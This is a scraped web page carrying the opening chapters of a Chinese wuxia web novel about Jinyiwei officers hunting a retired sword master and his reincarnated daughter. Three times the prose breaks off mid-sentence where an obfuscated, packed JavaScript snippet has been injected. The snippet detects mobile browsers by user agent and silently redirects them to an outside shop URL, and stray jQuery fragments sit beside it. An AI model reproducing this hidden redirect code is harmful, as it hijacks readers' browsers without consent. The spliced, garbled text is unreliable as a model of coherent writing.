《谁又爬墙送花来》
1. 偷猫猫不可饶恕
松摇半夜风声壮,淅淅沥沥小雨蓄了一汪小水池,映着天边的上弦月。
——碗口大的马蹄倏地踏碎月亮。
黑压压的一队人马沉默地走在山路上,隐约有小石子被踢下悬崖。为首的人罩着斗篷,斗篷下一身大红色的飞鱼服,正沉着脸看向那半点光芒未有的山路。
后面驾马走上来一个女子,抹了一把脸上的雨水:“大哥,这不行,夜路没法走!”
那斗篷人抬起/头,露/出一张俊美的脸。他剑羽眉下生一双丹凤眼,五官锋利如刀削,而眼角则拉出长长一笔,收得尖锐,几乎要将鬓角刺出血迹。薄唇不笑的时候自然下撇,自带着一股不怒而威的气场。
“哪儿有个山洞,让之垣去瞅瞅。”他慢条斯理地低声说道,眼神微微往后一挑:“王大人娇贵,让人小心着。”
女子点点头,快速调转马匹向后去了。
夜里,山风都湿漉/漉的,吹到人脸上能刮下一层水。王大人年纪大了,腿脚就不好,一下雨就针刺一般的剧痛,早早团在了石头上的铺盖上。陈松睿安排好守夜的顺序,自己毫无睡意,干脆走到了石洞边烤火,无意识地看着天上的月亮。
素月分辉,明河共影,表里俱澄澈,夏日夜里的雨总会让人割裂,又是燥热又是阴寒。陈松睿被下属送了一小壶烈酒,狠狠闷一口,看向远处跳跃着月光的河水。
大概是雨声太惹人烦躁,睡梦里都蒙了一层闷劲儿来。
雨声愈发喧嚣恼人,陈松睿往后挪了挪,以免被外面的泥水扑到脸上。珠帘一样的雨模糊了外面的景物,隐约云端还有雷声在响。
“老大。”姚姜走过来坐在陈松睿身边,手里还拿着饼子:“这雨下的我睡不着,轰隆隆的,感觉山都在震。”
陈松睿喝酒的动作一顿,扭过头皱着眉问了一句:“什么,山都在震?”
“是啊,你没听到吗,轰隆隆的……”姚姜用手指了指头顶,动作倏地僵住,后面的话音也卡在了喉咙里。
明明雨声如落石,寂静却在此处滋生。两个人对视数秒,呼吸的声音在耳边拉长,瞳孔中逐渐显现的慌乱在这一刻具象化,他们不约而同、连滚带爬——
“石洪!!是石洪!醒醒!!”
刹那间山崩地裂,众人皆匍匐在地,陈松睿“嘭”一声撞了个头昏眼花,连声音都要被耳边嗡鸣掩盖。
土渣扑簌簌盖了满头满脸,惊慌吼声伴随着轰隆巨响,陈松睿顶着一口的血腥味,硬是从地上撑起来,却被呛地狠狠打了个喷嚏——
战马的嘶鸣声从洞口外响起,一股难闻火药味从头顶弥漫开来,陈松睿来不及细想,矮身稳住身体,竭尽全力大声吼到:“不要慌!所有人撤出山洞——林奎之,林奎之在哪!!”
脑海中的嗡鸣混杂着所有的噪声,陈松睿根本不知道林奎之有没有听到他——顾不及了,顾不及了!!
“跑!跑!!”
王大人身上还裹着被子,表情呆滞地被几个锦衣卫架了出来;陈松睿随手一推,推到了前来搀扶他的姬沧远。两人也你拉着我我推着你,被身后涌出的泥水参杂着石块紧追不舍——
“老大!!”姚姜女声尖利,调门险些再震些石块下来:“王大人!!在哪里!”
破风声将心跳刺动,寒毛直竖——陈松睿瞳孔剧缩,一把将姬沧远用肩膀撞开!
一只箭自苍茫雨幕中显现,从锁骨处陈松睿刺个对穿!
#####
江中绿雾起凉波,雨滴将江面敲出数个漩涡,一尾乌篷船从雾中划出,惊起几只在江中捕食的鸟儿。
早就等在岸边的姑娘撑着油纸伞,拎着一篮子的笋欢快地跑向船坞:“露早!露早!”
把着浆的姑娘抬起/头,笑呵呵地扬了扬下巴:“穗穗!”
方满穗比鸟儿还要轻巧,江上点了几点,落在船头也没让船更晃。她穿了一身绿色的窄袖短衫,百迭裙上撒了一片蝴蝶似的梨花,腰带上也绣了点点花瓣。若是忽略右边脸蛋上云雾似的胎记,这姑娘简直就是一只从竹林中奔出的小鹿——那股灵动的美即使是胎记的遮掩也消不了半分。
她将篮子丢下,自顾自跑去了中舱,乌篷下就响起她清脆的叫声:“这菱角头看起来就蛮脆个,好切哇?【好吃吧?】”
“你已经吃进嘴了还要问,这是我娘今朝早上刚刚摘个。”露早险些被这堂而皇之当小老鼠的家伙气笑了:“要勿是你拨仔我介许多笋,我就要讲你是个欢喜揩油个人哉。【我就要说你是个爱占便宜的人了。】”
“好哉,你是只大坏蛋,下趟勿会再拨你送糖水哉【下一回我就不送给你糖水了】!”方满穗从中舱里跳出来,两个女孩欢欢喜喜闹成一团,清脆的笑声把清早的雾都要驱散。
那竹林里猛然传出一声喊叫,将林中的鸟儿都要吓飞。露早探头看了看,推推正抱着她胳膊的方满穗,笑嘻嘻地说:“你爹爹叫你转去屋里去,还不去哇?”
方满穗立刻就不嘻嘻了,撇着嘴,打算做个选择性耳聋的患者。谁知那人似乎是知道方满穗的尿性,上一声还未落地,这一声就已经震到了耳边,隐隐带了几分怒意。
“啊呦,你爹爹发火载,快转去,”露早拍了拍方满穗,从身边的竹筐里抱了一捧菱角,全都塞进了方满穗的布兜里:“我明朝寻你,快去!”
方满穗还想在和好朋友再腻歪几下,那边树林里,来自爹爹的呼喊已经变成了全名——这可就不是单纯的发脾气了。她只好和露早约了明天中午见面,便转身跃起,一阵风一样蹿进了竹林。
她用了十分的速度,快得将小道上的竹子都吹动,将将卡在了老爹发真火的时候到了家门口。
“来啦来啦!叫那么大声……”
砌得整整齐齐的小院儿,门前的小匾上歪歪扭扭写着“春笋屋”,似乎是哪个刚学毛笔字随手的练笔。门口有个用竹子做的小吊椅,一只超大号的三花猫露着肚皮打呼噜,翠绿色的眼睛看到了方满穗,立刻就软软地喵了一声,顺便打了个舒展的哈欠。
“百斛,吃饱啦?”方满穗挠了挠猫猫下巴,沿着那股子慵懒劲儿撩了一把:“点珠下个月才能从兰姨那里回来,没人陪你玩儿了,你怎么吃胖这么多呀~”
不过她并没觉得胖猫猫有什么问题,毕竟她还没有到压倒炕的程度,每天还能算是轻盈地挑上她的小吊床。方满穗又撸了两把,手里拢了一把柔软的暖意,于是又附送了百斛一个爱的亲亲。
再然后,她总算是记起还在等着自己吃早饭的爹,一面大喊着“我来啦”一面一把推开门,蹦蹦跳跳往院子里冲。
这小院每一块地方都被利用的彻底,左边是葡萄藤,下面有一个躺椅;中间则摆着用竹子做成的餐桌,上面已经放了热腾腾的早餐;右边就满当当了,塞了一个武器架、一口井还有一处用来做木工活的地方,一个穿着短打的男人正编着一个大竹筐,身材高大结实,花白的头发被一根木簪随意别在了脑袋上。
覃詹斜乜了一眼姗姗来迟的女儿,哼了一声,花白的胡子动了动:“赶紧吃饭!前几天是谁在哪里嚷嚷要吃酸梅汤,给她冰了一瓮,结果早上看都没看就去山上挖笋了!”
说着他站起身,一瞄女儿空空如也的手里,眉头一皱:“铲子呢?!”
某位罪魁祸首毫无自觉,早就已经喝上了心爱的酸梅汤,面对爹爹的指控,心大地回了一句:“我忘在林子里啦,吃完饭去取!”
覃詹:……
老父亲抹了一把脸,感觉自己能把女儿养这么大真不容易。
他叫上门口赖床的百斛,在井边净了手,坐在了闺女对面吃了起来。
百斛有自己的饭碗,蹲在他们桌子边嚼吧着鸡腿。覃詹给女儿夹了一筷子雪菜,思索了一会儿,筷子一放,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213876|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摆出了每日碎碎念的架势。
“穗穗,你今年都十七了,该找个人家了。”他先是长叹了口气,看着面前无动于衷的女儿,堪称苦口婆心:“你到底顾虑什么,爹又不像其他人,爹让你自己选,还教了你一身武艺,到底不会再婆家受什么委屈。这小镇上那么多的好小伙……实在不行,去往江南府——”
“爹——”方满穗拖着长腔,噘着嘴,挎着脸蛋:“我不嘛,我才十七,我才不要就天天侍奉公婆——相夫教子——呕——”
她直起身,眼睛亮闪闪地看着覃詹:“我要向兰姨一样厉害!我想去兰姨那里做工!”
覃詹长出了一口气,扶额摇头,复又直起身,无奈地说道:“你——你学她做什么?!她——诶,她也是生儿育女的,你一个小孩子,她当然不会告诉你她有多辛苦啊!唉!”
方满穗干脆捂着耳朵撒泼,直嚷嚷:“不听不听不听!拜拜爹爹,我去找小铲子了!”
“诶——”老父亲还没来得及伸手抓,绿衣姑娘就像无从寻迹的仙人,让人半点住抓不着踪迹,自顾自寻自己的“长生”去了。
“臭丫头!!”
“啊呀,臭丫头也是爹爹养出来的啊!”方满穗哈哈一笑,在竹子间轻巧地跳跃着,很快便消失在竹林深处,找那铲子去也。
######
她仗着爹爹疼爱浪了一下午,买话本、买糖水,吃了个肚子饱圆,又在露早那里顺了几个莲蓬,晚上躺在葡萄架子下,快乐地把皮扔给百斛玩儿。
覃詹雷声大雨点小,心肝宝贝闺女只要没把家给炸了,他永远都能做那个“冷脸做好吃的”的老爹。
竹深树密虫鸣处,时有微凉不是风。
方满穗躺在竹椅上,忽然有些想念现代时候的手机,最起码现在她真的很想和露早聊天,却没法立刻就奔到她的身边。
她很快又不再在意这些,兀自将自己安抚好,摇着头晃着脚,开始在心里考自己古诗词。松室开孤定,褰帏纳夜凉。婵娟依翠竹,无语过东——
百斛忽然停下了玩儿莲蓬皮,耳朵前后左右转了片刻,轻巧地跳到墙头。转瞬间,毛顺脸圆的胖猫猫炸成一只巨型榴莲,嗷呜嗷呜地冲着墙下嚎叫起来。
“咪/咪!嘘嘘嘘嘘嘘嘘嘘嘘嘘嘘——”墙下传来一个颤/抖的女声:“安静安静安静——嘘嘘嘘嘘嘘嘘给你鱼吃吃好不好?!”
百斛不以为意,甚至毛毛越炸越蓬松,眼看着就要一嗓子把十里八乡猫猫狗狗全叫醒——下面有人“嘿呦”一声,下面腾起一阵灰黄/色的烟雾,百斛的防空警报转瞬间停了下来,呜呜两嗓子,胖乎乎的身体卡壳几秒,啪叽倒了下去。
方满穗猛地坐了起来,运起内力在手,缓慢地接近了墙根。
这贼忒不专业,麻沸散用来撒一个猫猫,还弄出这么大的动静……重点是怎么可以对百斛出手?!太过分了!
“嘿呦,”大概还是那个发出嘘声的姑娘,口吻十分新奇:“好实在的猫猫!”
一个声音突兀地咳嗽起来,听起来下一秒就要背过气,沙哑带喘地说道:“能不能……能不能翻进去再说?!我……我TMD快死了咳——”
墙角下面一阵“好的好的”“慢点慢点”,一阵手忙脚乱的衣物淅索声——一只暗红色的手骤然扣在了砖墙头,过了几息,另一只手也攀了上来。
陈松睿浑身狼狈,气喘如牛,颤颤巍巍地踩在林奎之的肩膀上,胳膊肘使劲儿,闷头就要抬起腿儿。他感觉自己的额前有什么吹动,怵然抬起/头——
“嗨~”墙头的姑娘笑得明媚如桃花乍放,陈松睿眼睛被晃花片刻,黑影紧接着急速袭来——那出手如闪电,一拳碎金裂石、震天动地,天降陨石一般重重砸在了浑身血污的男子脸上,直叫他脸上再添两笔。那姑娘吼声比猫还大声,都能听出胸膛震动,三个字气灌山河:“偷!猫!贼!!”
2. 互看不顺眼
早晨的时候露早送来了半只酱鸭,还没进门儿就被方满穗推了出去。
“嗯?那恁咯?”露早一头雾水,被方满穗半抱着拉到了旁边的竹林里,脑袋好奇地往院子里探:“今朝有客人?”
“啊……对对对,对。”方满穗一时间忘了把大梁官话切换成姑苏话,咳嗽了一声,含糊地说道:“酱鸭我收落哉,下趟再请倷进来坐坐,再会再会再会!!”
“诶!”
露早还没来得及发出一个音节,就被方满穗“嘭”一下关在了门外,吓得小姑娘闭眼缩脖,“噫”了一声。
院子里也是一片鸡飞狗跳。方满穗关上门,就被一声刺耳的尖叫震得一个激灵。百斛嗷嗷叫着满院子蹦跳,毛炸得像一个刺猬,扣着墙头的爪子已经“锋芒毕露”。
“咪/咪!”昨天接住百斛的女锦衣卫站在院子里,手里拿着一个冒着热乎气儿的肉包,似乎想和百斛缓解关系。她脚步轻柔,像逗小孩一样温柔轻唤着:“肉包包~来吃来吃~嘬嘬嘬——”
百斛大声嚎叫,耳朵死死背在脑袋上,所过之处一片噼里啪啦。她大概是看到了方满穗,声音徒然变得可怜兮兮,喵喵喵着冲主人蹦了过去。
“姚千户,”方满穗矮了矮身子,稳稳接住了自家的胖猫猫,抱紧她颤/抖的胖身体。她脸色不太好,也懒得控制自己的表情,语气有些冲:“这是作甚,昨天晚上还没抱够?”
姚姜表情有些尴尬,咳嗽了一声,把包子塞进了纸袋里。她理了理衣着,客客气气地对着方满穗行了一礼:“覃姑娘好。”
方满穗垂着眼睛,不想理会这些不速之客,又不好对着一个漂亮姑娘说什么重话,只能垂着眼睛,假装自己眼睛瞎了,略过了姚姜,大步回了自己的房间。
姚姜被那“中气十足”的“嘭”震得激灵一下,啧了一下。她似乎觉得刚才太过尴尬,四下瞅了一圈,只能拿出包子狠狠咬了一口。
林奎之从她身后走出来,用肩膀轻轻怼了一下同僚,脸上却带着点幸灾乐祸的笑容:“怎么了阿姜,被小姑娘嫌弃了?”
姚姜嚼吧着包子,毫不留情地赏了他一个比水煮蛋还嫩滑的白眼:“有本事你来啊,看剑圣不把你跺成肉臊子!”
林奎之尴尬地挠挠脸颊,咳嗽一声,学着姚姜靠在了门槛上,小声问道:“那怎么办??覃姑娘不乐意理你,老大怎么和剑圣搭上话……”
林奎之叨叨的功夫不比老父亲差,姚姜就这着抑扬顿挫的单口相声慢条斯理地咀嚼着,垂着眼,好似这包子是什么山珍海味。她默不作声地吃完了一整个,这才拍拍手:“让老大继续装柔弱吧,那还能怎么办……走走走,那祖宗怕不是要躲着不喝药,赶紧盯着他去。”
乡下小院儿客房,竹制的家具带着竹子的清香,只是手工的家具多少有些粗糙,陈松睿躺在榻上,时常翻个身就被细小的刺勾住衣服。
他左边颧骨青紫一片,脸色煞白,大夏天里盖着一条破旧的薄毯子,脸上浮着一层冷汗。看到两人走进来,陈松睿挑挑嘴唇,用下巴点了点旁边凳子上放着的碗:“喝完了已经,也不用这么追着——喂!”
姚姜居高临下,像个调/戏良家妇男的登徒子,掐着陈松睿的下颌,强迫他张开了嘴。确定那嘴里有药味儿,她才松开手满意地点点头:“总算是按时喝药,老大勿怪,你自己啥样子自己不清楚?”
“那你也不能这样吧!”陈松睿带着点羞恼,揉了揉被掐痛的下巴:“嘶……手劲儿这么大,也不怕把我下巴掐脱臼……说正事儿,你和覃姑娘搭上话了吗?”
姚姜将刚才方满穗的态度说了一下,拉着凳子,一撩下摆,大马金刀地坐在了榻前:“没辙,人家完全不理我……不过她虽然不理我,却不似覃詹那样抗拒,也许再过几天……有门?”
陈松睿嘴唇颤/抖:“说这话您自己信吗大姐?”
林奎之想的却不是一回事儿,也随便抄了个矮凳坐在姚姜身边:“老大,剑圣今年应该已经快六十了吧?覃姑娘看上去十五六,街坊邻居还能听到说什么‘今年覃詹想给姑娘议亲’……那也就是说覃詹是在五十多岁的时候有的孩子……五十左右的时候他不是在逃命吗?”
人高马大的锦衣卫斜着身子抱着双臂,把自己立成了墙角的簸箕:“嚯,这就是剑圣的精力吗?”
“十五年前,正是他彻底销声匿迹的时候,也许就是这个时候娶妻生子吧。”陈松睿费力的坐起来,林奎之赶紧往他背后团了一团衣物靠着:“只见到女儿,却不见夫人……覃姑娘叫什么来着?”
“街坊见我们说不是土话,言语间带着些戒备,只知道覃姑娘小字是‘穗穗’。”姚姜快速回答道。陈松睿皱着眉,仔仔细细琢磨了一遍已知的信息,叹了口气,摇摇头:“等沧远回来吧……让兄弟们仔细些,守好了,覃詹的武功早已至臻化境,要是被人一巴掌拍死可是会丢人丢大发了。”
他咳嗽几声,做了个“杀”的手势,压低了沙哑的声音:“这次决计不能放走他。”
#####
覃詹直到下午才回来,照例给方满穗带了礼物。姚姜下午还在试图搭话,看到覃詹回来,立刻撒丫子溜没了影儿,一行人把自己关在客房里,半点动静不敢有,连窗户都关紧,誓要把自己变成壳儿里王/八。
覃詹带了几道热菜,父女俩和一只胖猫一起在院儿里吹风吃饭。
方满穗正用鱼尾巴逗着猫猫,猛然间被老父亲点了名:“今天那几个人有和你搭话吗?”
方满穗手一顿,手里的鱼尾被百斛一口咬住。她怏怏松开了手,抿抿嘴,往后一靠:“有,那个女孩——”
她看到爹爹的表情,明智的改口:“那个女千户,想给百斛喂包子,我没答应,抱着百斛回屋了。”
覃詹垂着眼,筷子无意识在饭里戳出两个洞,隐隐要将碗也戳碎,直到那几声轻轻的咔嚓,他才从撒癔症中瞬间挣脱,赶紧收起手里的筷子,新买的碗差点就阵亡在剑圣的竹筷上。
“……穗穗,”覃詹不动声色地深吸口气,往前倾了倾身,看着正撸猫猫闺女:“过几天你兰姨路过小镇,你去她哪里住几天吧?”
他说着,又给方满穗的碗里添了点菜:“点珠的病估计好了,你正好能和她玩儿一阵……爹爹有些事儿要去做,不太放心你一个人在家。”
“嗯?”方满穗把书拢在百斛的头上,听到这话,余光看到覃詹的表情,心中暗藏着的不安渐渐扩大,骤然抬起眼睛看向覃詹。
她其实一直心中有着疑惑,只是爹爹不让她提,自己也便装聋作哑……为什么那几个锦衣卫要找来这里,如果是要解毒救命,何必舍近求远跑这么长的路——而爹爹的态度明显是不想让这几个锦衣卫靠近自己……那副极少出现,一看就满腹心事的样子更是让人没法不多想。
“爹爹,”方满穗撸了撸百斛的大毛尾巴,心里把要说的话盘了几番,小心翼翼地问道:“你要去做什么啊,要做多久?”
覃詹冲方满穗露/出一个安抚的笑,伸手轻轻揪了揪闺女有点婴儿肥的脸颊:“爹爹不会去多久,你还没成家,我怎么可能放心——谁!”
一阵风掀动了自己的碎发,方满穗眼前花了一瞬——两道黑影穿透了阖上的木门,带着破风之声撞上了偷听者!
门后一声闷哼,附带着倒地的闷响。覃詹出手没收着劲儿,这会儿一双鹰一样的眼睛死死盯着木门,杀气混杂着寒意从脚底腾起,刺得方满穗抖了抖,下意识凑到了爹爹身边。
“覃剑圣勿恼,是我那下属过了界。”沙哑的声音从门里传出,带着点气喘:“如今您已经伤了他,就看在我的面儿上饶了他吧。”
方满穗有些担忧地拉住覃詹的袖管。今日覃詹穿了一件褪色的宝蓝色箭袖袍,高大的身躯像一座永不倒塌的山峰。他扭过头,眼里的寒意如潮水褪/去,温柔地冲心爱的女儿点点头。
然后他看向那道已经开了口的破门,嘴角无意识地挑出一个讽刺的冷笑:“面儿?陈指挥使的面儿值多少钱?”
方满
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213877|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穗的眉梢轻微地抽/动了一下,眼神在门和爹爹之间逡巡。
那声音又咳嗽了好几下,把声音咳得愈发嘶哑,喘了几声,这才说道:“我的面儿在剑圣这里,那自然是半分钱不值……您打也打了,我那下属现在还躺在地上呢。您若是想揍,我自然也不会拦着,只是覃姑娘还在……”
方满穗感觉自己爹爹的胳膊瞬间绷紧,那股骤然爆发的杀气刺得她浑身发凉,忍不住缩了缩脖子。
覃詹却很快收敛,深深吸了口气,那股如悬头冰锥般的气场乍然消失。他的眉头皱出一座小山,余光瞄过方满穗下意识搓胳膊的动作,言语中明显带了退让:“这次就看在你的面儿上,不要再要有下次。”
“自然、自然——咳咳……”那位陈指挥使咳嗽了一阵,再说话,声音几不可闻:“下不为例。”
覃詹听了,脸色却没有半点缓和。他叹了口气,推着方满穗,叫她和百斛回了屋,自己则去收拾了碗筷。方满穗抱着打鼾的百斛,从门处探头:“爹爹,我帮你——”
覃詹把碗筷一垒,脸上带着点笑,口吻却不容置疑:“不用,说的好像你干活似的。今儿字帖摹了?书可读了?还不赶紧回屋呆着。”
爹爹的两个问题重量太重,方满穗已经迈出的一只脚只能又缩了回来,想说些什么,覃詹却已经抱着碗筷去了院子外。她在门口扣了一会儿门框,叹了口气,只好把屋门一合,抱着百斛躺在了床上。
覃詹在方满穗及笄时候为她亲手做了一个拔步床,上面刻满了方满穗最喜欢的金元宝图案。床上的被褥都是今年新做,前几日刚刚晒过,方满穗陷入满满土地芬芳香味。
“这都什么事儿啊,”方满穗一只胳膊枕在脑后,啧了一声,蹙起眉:“往常也不是没有江湖上的朋友来找爹爹,怎么偏偏这次……说着不让我接触那些人,可这架势,他们分明是认识的……”
那位陈指挥使看上去二十出头的年岁,难不成是爹爹哪位故人之子?可既然是故人之子,却为何这般提防,脸上就差写了“赶紧给我滚”这几个字……
方满穗跑神儿,漫不经心地揉着猫猫的脑袋,脑海里把所有见过的父亲的朋友过了一遍,没有一个长得和陈指挥使长的相似。她长长叹口气,又开始琢磨着该不是爹爹不小心杀了什么人,探案的追上来了吧?
“可是衙内会受伤了之后找贼治吗?”方满穗说话把自己逗笑了,噗嗤一声,摇摇头:“诶我在想什么呢,真是的。”
百斛在她的肚子上打着软软的小呼噜,方满穗垂着眼,看着猫猫脖颈后面的蒜瓣毛,心里忽然就定了下来。
自十七年前,自己重生在这个同名同姓的死婴身上,从此有了一个要星星不给月亮的爹爹,她就头一回有了家。爹爹杀人又怎样,大不了把这几个锦衣卫全宰了,改名换姓隐居江湖!
方满穗“说干就干”,开始思索着哪里埋尸,哪里可以暂时躲避追杀,甚至还想好了自己在江湖上的名号,说不定还能顺便宰几个狗官……她满脑子全是话本里看到的江湖,各种情节排着队从眼前路过。方满穗很快就在猫猫的呼噜声里,迷迷糊糊睡着了。
覃詹站在窗户边,急忙伸手把窗户掩上,不舍得女儿受半点风。他似乎有千言万语想和方满穗说,却只能红了眼眶,颤/抖着嘴唇,对着一面刚刚糊好的窗户。
他的眼神掠过窗户纸上方满穗画的小碎花,掠过窗框上那些歪歪扭扭的字迹。他将曾经的岁月重新温习了一遍,留了满心暖暖的爱意。
女儿,他最爱的女儿。
“覃姑娘一时半会儿醒不过来吧。”
陈松睿不知道何时被姚姜扶到了院子里。他脸上青紫未褪,松垮穿着的中衣里面还能看到渗血的绷带。他却泰然自若,甚至还让姚姜帮忙倒了两杯茶,煞白的脸上平静温和,看上去还能和覃詹喝两杯茶,再聊上两句。
他做出请坐的手势,看向面无表情负手而立的覃詹:“这茶乃是今年初的贡茶,有幸得了几两,不知能不能换得剑圣一叙?”
3. 爹爹不见了
绿色葱葱换,薰风细细吹。
夏日傍晚的竹林总是带着丝丝阴凉。陈松睿惬意地眯着眼,手指摩挲着陈旧的茶杯,微微摇晃着身子哼起一首渔歌。若是忽视他满身的伤痕和脸上的病气,还真是一个“瑶阶玉树,如君样,人间少”的俊美青年。
俊美人儿好像完全没意识到自己才是客人,甚至做了个请的姿势,笑容看上去有些欠揍:“怎么,一杯茶而已,覃剑圣怕了?”
覃詹在夕阳下矗立成一座丰碑。他头发花白,胡子也参杂了年岁的痕迹。身上的旧袍子洗的发白,开线的针脚都被重新细细缝好,即便身着旧衣,身上那股“虎视何雄哉”的气场依然让在场所有人不敢轻举妄动。
半晌,久到身边的姚姜额头浸满冷汗,他才一撩衣摆,坐在了陈松睿对面。
这一坐,姚姜才发现,快至花甲年岁的覃詹体格居然与陈松睿不相上下,若单从身后看去,高大挺拔的身姿甚至会让人以为他正值壮年。
“这茶味道确实温润,”覃詹随手拈起茶盏,骨骼分明的大手轻巧抚起茶盖,呷了一口,叹息到:“三十多年没吃到了。”
陈松睿笑声清朗,又为覃詹添了一杯茶水:“那今日,覃剑圣可吃个痛快,毕竟……”
他意味不明地轻笑一声,端起茶杯,垂下眼帘,掩住自己的神情:“往后可未必再有什么机会吃茶。”
覃詹哼笑一声,抬手试了试温度,一口便闷了这杯茶。他好似豪饮烈酒,畅快一笑,随手将茶盏丢到了桌子上:“往后有没有这机会,得看这老天还能赏我多少年岁……嗯,说起这贡茶,我忽地记起,当年陈大公子也是如此热爱豪饮。得了赏赐,便要这身边人同乐,至今还让我记忆犹新。”
陈松睿依然带着温和的笑意,放在腿上的左手却倏地攥紧,青筋绷起。覃詹似乎无知无觉,双眼如鹰,直直看向陈松睿:“这一别十七年,陈大公子的幼子——唔,我听闻前年的武状元便是他,也算是不堕他父亲的威名。”
咔嚓。垂首侍立在侧的姚姜耳朵一动,脊背一绷,眼尖地发现自家老大把茶盏捏出了一道小裂痕。
陈松睿嘴角有些打颤,他那副风轻云淡的模样被覃詹几句话说裂了口,藏在背后的杀气与愤怒丝丝缕缕泄露出来。
“覃詹,你也是父亲,”陈松睿尽力维持着声音的平稳,石桌下的手已然攥得骨节发白,他身子前倾,脖颈上已经爆出青筋:“你是如何狠心,能如此轻描淡写讲述死于你手的人的孩子?!”
“因为我十七年前就回答你了!”覃詹撑着桌子,半身前倾,眼里含/着深不见底的冷意:“犀渠不是我杀的!!”
“闭嘴!!!”陈松睿蓦然咆哮起来,左肩伤口乍然崩裂——他一掌拍下,茶盏化为齑粉,竟将石桌拍出一道深深裂痕!
“如果不是你执意给什么知州复仇,我父亲怎会死无葬身之地,我大哥怎会抛下爱妻爱子葬身火海,”字字句句,他好似从心口的伤疤里硬生生扯出,又在喉咙里研磨一遍,化为那滴血的言语:“覃詹,我父亲是你救命恩人,凭什么你可以守着家人逍遥自在,而我和我娘亲却要面对排位日日悲苦?!”
覃詹静静地盯着陈松睿,好似透过他看向更深处的什么。高大的男人把自己坐成一颗风化的岩石,看着陈松睿身上骤然爆发的悲伤冷却,这才开了口:“覃某从未敢忘记恩公,便是来世结草衔环,也难以报答陈统领的恩情。”
“可我没做就是没做,我再说一遍,”覃詹屈指在石桌上点了点:“我没有杀你大哥和父亲,信不信由你。”
“十七年前的惨案没有人会忘记,我/日日合眼,好似还能看到穗穗惨死的娘亲。”覃詹缓缓站起身,沉默地看着被姚姜包扎伤口的陈松睿:“这一切恩怨并非由我而起,但是可由我而断。陈指挥使,我报仇找错了人,你也是。”
陈松睿正半阖着眼睛,听闻此话,眼神猛然一凛,用力一拍桌子吼道:“拦住他!!他要跑!!”
光辉乱人眼,嗡鸣若雷霆震怒、虎龙长啸——林奎之半抱陈松睿极速后撤,险险闪过,陈松睿的中衣仅仅被剑风扫过,衣领便裂成几片!
方才还只是裂开道缝隙的石桌碎成数瓣,地面也被斩出一道深深痕迹——覃詹持剑立于院墙之上,周围早已倒了数个锦衣卫!
“就凭你们。”长剑在他手中如臂使指,轻松打掉了姚姜的暗器。覃詹收剑入鞘,身影如电,几下便消失在竹林里。
“老大!”姬沧远匆忙赶来,一边脸颊上全是飞溅的血液:“兄弟们不知被谁埋伏了!三人重伤,无人伤亡!”
姚姜一拳锤在屋墙上,尘土扑簌簌落了一地。
陈松睿重伤未愈,被林奎之扯了一下,裂开的肋骨疼得他脸色煞白,好一会儿才恢复了声音:“……去,去屋子里把覃姑娘叫醒,我要审她!”
姚姜立刻领命,快步走到屋门前,一脚踹开了门。
那破旧木门碎成几片,姚姜走进去,片刻后快步跑来,脸上带着慌张:“老大,覃姑娘人不见了!!!”
陈松睿正让林奎之帮忙重新固定夹板,闻言一愣,拂开林奎之的手,站起身快步走到门口。
林奎之赶紧跟上,用力掺住呼吸有些困难的陈松睿。
覃姑娘房间空无一人,连那只叫百斛的猫猫都不见了踪影。陈松睿走到床前探手一摸被褥,尚存温度,显然人还没有走远。
覃詹和他聊天,就是为了拖延时间,好让女儿被人接走!
什么放蒙汗药,什么不想让女儿被卷进来……全他/妈放狗屁!
陈松睿面无表情地站直身体,身后三个下属尽管看不见他的表情,还是被他巨石压顶的低气压压弯了脑袋。
“搜,给我把附近翻一番儿,”陈松睿缓缓攥紧拳头,青筋绷起,咬牙切齿地低吼到:“给我把人找出来!”
####
方满穗看到了前世的出租屋。
她公司累归累,福/利和收入都很可观,她只用了三年,就成功在大城市买了属于自己的小窝。
她还记得每天早晨醒来被粉色窗帘过滤的、没那么刺眼的朝阳,自己最喜欢的沉香会萦绕鼻端,还有自己养的大金毛,一定会在七点钟的时候准时把主人腻歪醒……
宠物带着点毛刺儿的舌头好似就这么舔在脸蛋上,方满穗一个激灵,瞬间从梦里脱离出来。
百斛看到自己的主人醒了,撒娇地长长喵了一声,脑袋就往方满穗怀里拱去。
“百斛……这是哪儿?”
方满穗坐直身体,发现身上盖了一层薄薄的丝绸被。这似乎是一辆马车,顶上坠了一个纹丝不动的香炉,正点着沉香。四周装饰奢华,隐隐还能闻见木质家具的清香味。方满穗瞄到了一角挂着的眼熟的长剑,无奈地揉了揉头发,喊道:“喂!霜毫——兰!霜!毫!”
“叫魂儿嘛你!听见了!”
带着少年气的抱怨先比人进了门帘儿。方满穗眼前光影花了一瞬,身前便多坐了一个身着青衣的美少年。
“一醒来就这么大声儿,一包蒙汗药吃下去,头都不疼?”
那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 